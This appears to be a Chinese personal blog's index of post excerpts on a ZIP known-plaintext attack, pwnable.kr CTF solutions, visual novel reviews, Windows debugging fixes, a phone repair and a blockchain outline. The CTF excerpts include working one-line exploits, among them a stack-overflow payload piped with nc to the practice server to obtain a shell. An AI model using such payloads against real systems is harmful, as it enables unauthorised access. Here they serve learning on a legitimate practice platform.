ZIP 明文攻击原理

在看 CTF 时发现了 zip 明文攻击的攻击方式,然而举的例子里基本都是使用工具——也就是 ARCHPR 简单完成破解,转而进行下一步操作,对明文攻击本身并没有做更多解释。本想看看 ARCHPR 的明文攻击实现的,结果发现这东西是商业软件……于是开始找其他资料。

简单搜了一圈发现这种攻击是基于 Biham 和 Kocher 在 94 年发表的论文《A Known Plaintext Attack on the PKZIP Stream Cipher》实现的。

明文攻击主要利用大于 12 字节的一段已知明文数据进行攻击,从而获取整个加密文档的数据。也就是说,如果我手里有一个未知密码的压缩包和压缩包内某个文件的一部分明文(不一定非要从头开始,能确定偏移就行),那么我就可以通过这种攻击来解开整个压缩包。比如压缩包里有一个常见的 license 文件,或者是某个常用的 dll 库,或者是带有固定头部的文件(比如 xml、exe、png 等容易推导出原始内容的文件),那么就可以运用这种攻击。当然,前提是压缩包要用 ZipCrypto 加密。


pwnable.kr 练习(二)

Toddler’s Bottle

leg

关键在于 pc 的计算。不像 x86 里 pc 总是指向下一条指令的地址,ARM 中的 pc 是下下条。假设当前指令地址为 x,即

  • ARM 模式:pc = x + 8
  • Thumb 模式:pc = x + 4

按这个规则计算得到 key1() + key2() + key3() = 0x8ce4 + 0x8d0c + 0x8d80 = 0x1A770,输入就好了

108400

mistake

因为运算符优先级问题,fd 被赋值成 0,也就是 stdin,和 password 文件就没有关系了,可以输入

1111111111
0000000000

pwnable.kr 练习(一)

Toddler’s Bottle

col

./col "$(python -c 'from struct import pack;print "0"*16 + pack("<I", 0x611c492c)')"

bof

一开始不熟悉输入处理,花了不少时间……echo 后面追加 cat 可以使输入流关闭,成功获得 shell。(PS:一开始拿到了 shell 还不自知……)不加 cat 的话则会提示 *** stack smashing detected ***: terminated

(echo "$(python -c 'from struct import pack;print "A"*52 + pack("<I", 0xcafebabe)')";cat) | nc pwnable.kr 9000

樱之杜†净梦者——一圆三吃

之前没玩过老吴的作品,玩了才知道老吴爱整鬼片。上来先发了一整个序章的糖。正当我想着圆香这么牛皮,其他女主要怎么和她竞争的时候,小圆直接领便当走了……辣手摧花毫不犹豫。OP 放完我还没缓过来时,小圆已经变成慎司脑内专属灵体女友了。


卸载 Dll 过程中隐藏的异常

最近测试时发现代码中一处关于 std::function 函数对象的问题。在卸载某个 Dll(记为 A)的时候会触发该模块中一个单例对象的析构,在它析构内部的 std::function 成员时产生了内存访问异常(0xc0000005)。而触发这个异常的 std::function 其实是复制于另一个 Dll(记为 B),卸载 Dll A 时,Dll B 已经卸载掉了。

此时调用它关联的函数会抛异常容易理解,但这时并没有进行调用操作。原因在于函数对象析构时会调用关联的 _Delete_this 方法释放资源,而这个函数一般定义在 std 的 _Func_impl / _Func_impl_no_alloc 模板类中。所以当实例化 function 时对应删除函数的代码也是属于当前模块里的(也就是 Dll B)。现在 Dll B 已经卸载,那么只要有任何触发相关代码执行的操作都会引发异常。


夏空的英仙座——转型之作

巨乳村是 minori 回血之路的第一作,剧本还残留着不少原风格的味道,可以拿来品味下(反正剧本也短,而且感觉也挺实用

这一作的主题围绕着痛苦、拯救来展开。简介就不贴了,就是主角兄妹身怀转移他人痛苦的异能,为了摆脱被各种人利用的生活兄妹俩就躲到了远方亲戚所在的巨乳村里。然后在这个夏天和女孩子们发生了这样的那样的事情。

要是时间充足这个题材也可以继续写更多东西出来,什么人性的善恶啊,温柔与坚强啊,正面的反面的都行。像妹妹线和透香线都可以继续展开,只不过剧本并没有像她们的奶子那样饱满。


Appverif 启动后闪退

最近发现 Appverif 打不开了,公司不少同事的电脑上也遇到这个问题。

涉事的 appverif 版本是: 10.0.18362.1
win 10 的版本是 20H2(19042.867)

主要现象就是启动 appverif.exe 时命令行窗口一闪而过,UI 窗口没有创建就退出了。
用 windbg 调了一下,发现 appverif 在初始化 UI 窗口前会去检查并登记注册表 Image File Execution Options 键值下的 exe,而当遍历到其中的 MsSense.exe 时因为没有权限失败了(STATUS_ACCESS_DENIED)

具体堆栈如下:

00 vrfcore!VfCoreOpenImageFileExecutionOptionsKey+0xc4
01 vrfcore!VerifierOpenLayerProperties+0x4b
02 appverifUI!AppVerif::GetVerifiedImages+0xd6
03 appverifUI!StartUI+0x64
04 appverif!wWinMain+0x43e
05 appverif!__wmainCRTStartup+0x153
06 KERNEL32!BaseThreadInitThunk+0x19
07 ntdll!__RtlUserThreadStart+0x2f
08 ntdll!_RtlUserThreadStart+0x1b

VfCoreOpenImageFileExecutionOptionsKey 中会调用 NtOpenKey 打开每个项,而轮到 MsSense.exe 时因为返回 STATUS_ACCESS_DENIED 而导致初始化过程失败,进程退出。
用注册表编辑器打开一看 admin 确实是没有访问权限,那么给它加上就可以了。

可以用 NSudo 启动一个注册表编辑器,给 MsSense.exe 手动加上管理员组的读取权限,这样 Appverif 就恢复正常了。

当然,新的 Appverif 已经修复了这个问题,直接更新到最新版就没问题了。


魔女こいにっき 感想

虽然我是断断续续玩的,但是前后居然推了 4 个月……这还是后面看那些支线过于脱力快速略过的,剧本确实长得不行。

主要故事流程里包含了三个大的系列,分别是很久以前ジャバウォック王(以下简称 j8wk)的故事、约 1 年前 j8wk(此时已化身为桜井たくみ)的故事、然后就是现在的故事。恶心的地方就在于三个故事是并行展开的,这边讲一段,然后又加载其他故事的进度开始推进,然后讲了一点又换一个……看的让人比较蒙,而且 1 年前的支线剧情大多都不重要,前面堆了很多支线故事非常消耗耐心,会让人觉得是个雷作。


Xperia Z3+ 换电池

换了新手机后 Xperia z3+ 就吃灰度日了,现在需要备用机,又把它翻出来了。

至少还是得换个电池才能续命。到底是过气机型,淘宝搜了一圈也只有华强北几家店了,卖的应该都是拆机货。不过不打紧,说不定有品相好的,反正老电池也撑不住……

到底是三防手机,贼难开……看来对我这初心者还是有点难度。期间就一直电吹风,划片,电吹风,划片……后面发现用一字螺丝刀代替塑料划片效果拔群。


区块链原理、设计与应用

大纲

    理论篇

  • 介绍区块链、比特币、以太坊(智能合约)相关概念和技术
  • 共识问题。(FLP不可能:网络可靠但允许节点失败时不存在解决一致性问题的确定共识算法)(Paxos 算法、Raft 算法)
  • CAP:一致性、可用性、分区容忍性(节点间的通讯不保障)
  • 拜占庭问题——工作量证明(改进:权益证明(PoS)等)
  • 智能合约:图灵完备,配合区块链来保存合约的运行结果,达到去中心化、不可篡改的效果
    实践篇

  • 超级账本 Fabric 的部署、使用和技术架构
  • 智能合约(链码)和应用程序开发
  • 云区块链服务平台介绍